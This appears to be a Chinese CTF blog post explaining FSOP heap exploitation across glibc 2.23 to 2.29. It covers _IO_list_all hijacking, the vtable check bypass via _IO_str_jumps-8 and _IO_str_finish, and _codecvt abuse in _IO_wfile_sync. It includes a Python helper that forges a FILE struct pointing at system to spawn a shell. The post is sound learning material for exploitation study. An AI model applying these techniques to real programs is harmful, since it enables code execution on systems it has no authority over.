文章开头给出_IO_FILE结构体的偏移:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 0x0 _flags0x8 _IO_read_ptr0x10 _IO_read_end0x18 _IO_read_base0x20 _IO_write_base0x28 _IO_write_ptr0x30 _IO_write_end0x38 _IO_buf_base0x40 _IO_buf_end0x48 _IO_save_base0x50 _IO_backup_base0x58 _IO_save_end0x60 _markers0x68 _chain0x70 _fileno0x74 _flags20x78 _old_offset0x80 _cur_column0x82 _vtable_offset0x83 _shortbuf0x88 _lock0x90 _offset0x98 _codecvt0xa0 _wide_data0xa8 _freeres_list0xb0 _freeres_buf0xb8 __pad50xc0 _mode0xc4 _unused20xd8 vtable
Glibc2.23下的FSOP FSOP全称是File Stream Oriented Programming
进程中打开的所有文件结构体使用一个单链表来进行管理,即通过_IO_list_all
进行管理,在fopen
的分析中,我们知道了fopen是通过_IO_link_in
函数将新打开的结构体链接进入_IO_list_all
的,相关的代码如下:
1 2 3 4 fp->file._flags |= _IO_LINKED; ... fp->file._chain = (_IO_FILE *) _IO_list_all; _IO_list_all = fp;
从代码中也可以看出来链表是通过FILE结构体的_chain
字段来进行链接的。所以也就形成了链表。
看到链表的操作,应该就大致猜到了FSOP的主要原理了。即通过伪造_IO_list_all
中的节点来实现对FILE链表的控制以实现利用目的。通常来说一般是直接利用任意写的漏洞修改_IO_list_all
直接指向可控的地址。
具体来说该如何利用呢?glibc中有一个函数_IO_flush_all_lockp
,该函数的功能是刷新所有FILE结构体的输出缓冲区,相关源码如下,文件在libio\genops
中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 int _IO_flush_all_lockp (int do_lock) { int result = 0 ; struct _IO_FILE *fp ; int last_stamp; fp = (_IO_FILE *) _IO_list_all; while (fp != NULL ) { ... if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) #endif ) && _IO_OVERFLOW (fp, EOF) == EOF) result = EOF; fp = fp->_chain; } ... }
通过对上面代码的分析我们知道fp->_IO_write_base处保存这输出缓冲区的数据,并且长度为fp->_IO_write_ptr-fp->_IO_write_base,所以上面的if语句实际上就是判断缓冲区是否还有数据,如果有的话就会调用_IO_OVERFLOW去清空缓冲区,其中_IO_OVERFLOW是vtable当中的函数,所以我们若是能够控制_IO_list_all的话就可以控制程序执行流。
而_IO_flush_all_lockp 不需要攻击者手动调用,在一些情况下这个函数会被系统调用:
当 libc 执行 abort 流程时
当执行 exit 函数时
当执行流从 main 函数返回时
利用方式 伪造_IO_FILE结构体,并且利用漏洞使_IO_list_all指向我们伪造的结构体(当然这里我们可以使用任意结构体_chain字段),最终触发_IO_flush_all_lockp,绕过检查实现执行流的劫持。
其中需要绕过的也就是上面的缓冲区,所以只需要
fp->_mode = 0;
fp->_IO_write_ptr = 1;
fp->_IO_write_base=0;
最后把vtable修改为我们的system就好。
Glibc2.24到Glibc2.27下的FSOP 在Glibc2.24下,若是直接同上面的构造方式构造就会出现报错,这是因为在这个版本的Glibc下存在一种保护机制。
vtable check机制分析 在执行_IO_OVERLOW时,会先执行到IO_validate_vtable函数,这是因为_IO_OVERLOW的宏定义发生了改变
1 #define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
1 #define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
1 2 3 4 # define _IO_JUMPS_FUNC(THIS) \ (IO_validate_vtable \ (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS) \ + (THIS)->_vtable_offset)))
可以看到是在最后调用vtable的函数之前调用了IO_validate_vtable函数。
1 2 3 4 5 6 7 8 9 10 11 12 static inline const struct _IO_jump_t *IO_validate_vtable (const struct _IO_jump_t *vtable) { uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; const char *ptr = (const char *) vtable; uintptr_t offset = ptr - __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) _IO_vtable_check (); return vtable; }
在上述代码当中,__start___libc_IO_vtables指向了第一个vtable的地址_IO_helper_jumps,__stop___libc_IO_vtables指向了最后一个vtable函数_IO_str_chk_jumps的结束地址。上面检验的就是当前的vtable是否在这两个地址之间。因此,简单的覆盖vtable是无法通过检查的。
利用方式 其实在上述的check机制分析当中还存在一个检查外部vtable是否合法,不过存在的问题是我们无法控制flag,因为其是随机产生的。所以,我们使用的利用方式还是内部的vtable,使用到了vtable是_IO_str_jumps。
首先观察其源码当中定义的函数表:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 const struct _IO_jump_t _IO_str_jumps libio_vtable ={ JUMP_INIT_DUMMY, JUMP_INIT(finish, _IO_str_finish), JUMP_INIT(overflow, _IO_str_overflow), JUMP_INIT(underflow, _IO_str_underflow), JUMP_INIT(uflow, _IO_default_uflow), JUMP_INIT(pbackfail, _IO_str_pbackfail), JUMP_INIT(xsputn, _IO_default_xsputn), JUMP_INIT(xsgetn, _IO_default_xsgetn), JUMP_INIT(seekoff, _IO_str_seekoff), JUMP_INIT(seekpos, _IO_default_seekpos), JUMP_INIT(setbuf, _IO_default_setbuf), JUMP_INIT(sync, _IO_default_sync), JUMP_INIT(doallocate, _IO_default_doallocate), JUMP_INIT(read, _IO_default_read), JUMP_INIT(write, _IO_default_write), JUMP_INIT(seek, _IO_default_seek), JUMP_INIT(close, _IO_default_close), JUMP_INIT(stat, _IO_default_stat), JUMP_INIT(showmanyc, _IO_default_showmanyc), JUMP_INIT(imbue, _IO_default_imbue) };
上面是我在Glibc源码当中看到的,下面是我调试出来的:
不过可以看到的是源码中的JUMP_INIT_DUMMY占了16字节。所以_IO_str_finish的偏移量为0x10,而_IO_str_overflow的偏移量为0x18。
再来看_IO_str_finish的源码:
1 2 3 4 5 6 7 8 9 void _IO_str_finish (_IO_FILE *fp, int dummy) { if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)) (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); fp->_IO_buf_base = NULL ; _IO_default_finish (fp, 0 ); }
可以看到直接使用了fp->_s._free_buffer当作函数地址,参数即为_IO_buf_base。到了这一步,利用方式就很明显了。
下面构造结构体,同样的,我们仍需要绕过之前_IO_flush_all_lokcp函数中的检测,也就是_mode<=0以及_IO_write_ptr>_IO_write_base。然后重点就是vtable的地址我们不能直接的_IO_str_jumps,我们应当写入_IO_str_jumps-8,这里解释一下,因为我们在绕过_IO_flush_all_lokcp的检查后会调用到_IO_OVERFLOW函数,但是我们真正要进入的其实是_IO_str_finish函数,又因为他相对与vtable的偏移量刚好比_IO_OVERFLOW小8个字节,所以减去8即可执行到_IO_str_finish。
接着问题就是(((_IO_strfile *) fp)->_s._free_buffer)函数相对于fp的偏移量是多少,调试结果出来发现偏移量是0xe8,最后在fp->_IO_buf_base的地方写上/bin/sh的地址即可getshell。
这里给出打包的函数:
1 2 3 4 5 6 7 8 9 10 def pack_file (_IO_read_base=0 , _IO_write_base=0 , _IO_write_ptr=0 , _IO_buf_base=0 , _mode=0 , vtable=0 ): IO_FILE = p64(0 )*3 +p64(_IO_read_base) + \ p64(_IO_write_base)+p64(_IO_write_ptr)+p64(0 )+p64(_IO_buf_base) IO_FILE = IO_FILE.ljust(0xc0 , b'\x00' ) IO_FILE += p32(_mode) IO_FILE = IO_FILE.ljust(0xd8 , b'\x00' )+p64(vtable) return IO_FILE file_struct = pack_file(IO_list_all, 0 , 1 , bin_sh_addr, 0 , IO_str_jumps-8 ) file_struct += p64(0 )+p64(system_addr)
这是我上一篇复现的exp当中的函数,我是根据其他师傅的exp写的,但是这里的_IO_read_base我也没在源码中看到有什么检验,我估计不用加上也行。
Glibc2.29下的FSOP 这应该是最后一个可以用FSOP的版本了,在Glibc2.31也会有这方面的使用,不过都不能直接getshell了。
首先注意的是,我们在上面使用的是_IO_str_finish函数来利用的,但是这里的函数源码发生了改变:
1 2 3 4 5 6 7 8 9 void _IO_str_finish (FILE *fp, int dummy) { if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)) free (fp->_IO_buf_base); fp->_IO_buf_base = NULL ; _IO_default_finish (fp, 0 ); }
可以看到这里直接替换成了free,所以我们这里是没有利用空间的了。
其他师傅的查找发现在_IO_wfile_jumps这个vtable里依旧存在大量的函数指针,而且当中最好利用的则是_IO_wfile_sync函数,一样的先看一下源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 wint_t _IO_wfile_sync (FILE *fp) { ssize_t delta; wint_t retval = 0 ; if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) if (_IO_do_flush (fp)) return WEOF; delta = fp->_wide_data->_IO_read_ptr - fp->_wide_data->_IO_read_end; if (delta != 0 ) { struct _IO_codecvt *cv = fp->_codecvt; off64_t new_pos; int clen = (*cv->__codecvt_do_encoding) (cv); if (clen > 0 ) delta *= clen; else { int nread; fp->_wide_data->_IO_state = fp->_wide_data->_IO_last_state; nread = (*cv->__codecvt_do_length) (cv, &fp->_wide_data->_IO_state, fp->_IO_read_base, fp->_IO_read_end, delta); fp->_IO_read_ptr = fp->_IO_read_base + nread; delta = -(fp->_IO_read_end - fp->_IO_read_base - nread); } new_pos = _IO_SYSSEEK (fp, delta, 1 ); if (new_pos != (off64_t ) EOF) { fp->_wide_data->_IO_read_end = fp->_wide_data->_IO_read_ptr; fp->_IO_read_end = fp->_IO_read_ptr; } else if (errno == ESPIPE) ; else retval = WEOF; } if (retval != WEOF) fp->_offset = _IO_pos_BAD; return retval; }
可以注意到的是这两行代码:
1 2 struct _IO_codecvt *cv = fp->_codecvt;int clen = (*cv->__codecvt_do_encoding) (cv);
这里又是将fp->_codecvt->__codecvt_do_encoding来做为函数来执行,参数则是fp->_codecvt
再看_IO_codecvt结构体在源码是什么样子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 struct _IO_codecvt { void (*__codecvt_destr) (struct _IO_codecvt *); enum __codecvt_result (*__codecvt_do_out ) (struct _IO_codecvt *, __mbstate_t *, const wchar_t *, const wchar_t *, const wchar_t **, char *, char *, char **); enum __codecvt_result (*__codecvt_do_unshift ) (struct _IO_codecvt *, __mbstate_t *, char *, char *, char **); enum __codecvt_result (*__codecvt_do_in ) (struct _IO_codecvt *, __mbstate_t *, const char *, const char *, const char **, wchar_t *, wchar_t *, wchar_t **); int (*__codecvt_do_encoding) (struct _IO_codecvt *); int (*__codecvt_do_always_noconv) (struct _IO_codecvt *); int (*__codecvt_do_length) (struct _IO_codecvt *, __mbstate_t *, const char *, const char *, size_t ); int (*__codecvt_do_max_length) (struct _IO_codecvt *); _IO_iconv_t __cd_in; _IO_iconv_t __cd_out; };
可以看到这里的__codecvt_do_encoding偏移量为4,所以要进行利用只需要满足以下条件:
1 2 3 1.f p->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base2.f p->_wide_data->_IO_read_ptr - fp->_wide_data->_IO_read_end3. *(fp->_codecvt+4 )=func,参数就是fp->_codecvt
当然,我们这里依旧需要绕过_IO_flush_all_lokcp函数。
后面会在梳理house_of_pig也就是在Glibc2.31下的利用。
参考文章 https://darkeyer.github.io/2020/08/17/FSOP%E5%9C%A8glibc2.29%E4%B8%AD%E7%9A%84%E5%88%A9%E7%94%A8/
https://xz.aliyun.com/t/5579